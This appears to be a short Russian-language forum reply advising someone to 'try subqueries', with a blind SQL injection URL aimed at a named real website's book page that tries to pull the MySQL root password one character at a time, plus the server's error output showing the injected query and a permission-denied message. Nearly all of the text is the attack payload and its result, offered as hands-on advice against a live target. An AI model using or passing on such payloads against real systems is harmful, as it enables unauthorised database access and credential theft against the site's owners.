хз пробуй подзапросы

пример http://mqup.mcgill.ca/book.php?bookid=1%20AND%20ascii(lower(substring((S ELECT%20password%20from%20mysql.user%20WHERE%20use r=%22root%22%20LIMIT%201),1,1)))%3E48


Error executing the SQL Query : SELECT * FROM books WHERE ID = 1 AND ascii(lower(substring((SELECT password from mysql.user WHERE user="root" LIMIT 1),1,1)))>48
Error : 1142 SELECT command denied to user 'mqup'@'localhost' for table 'user'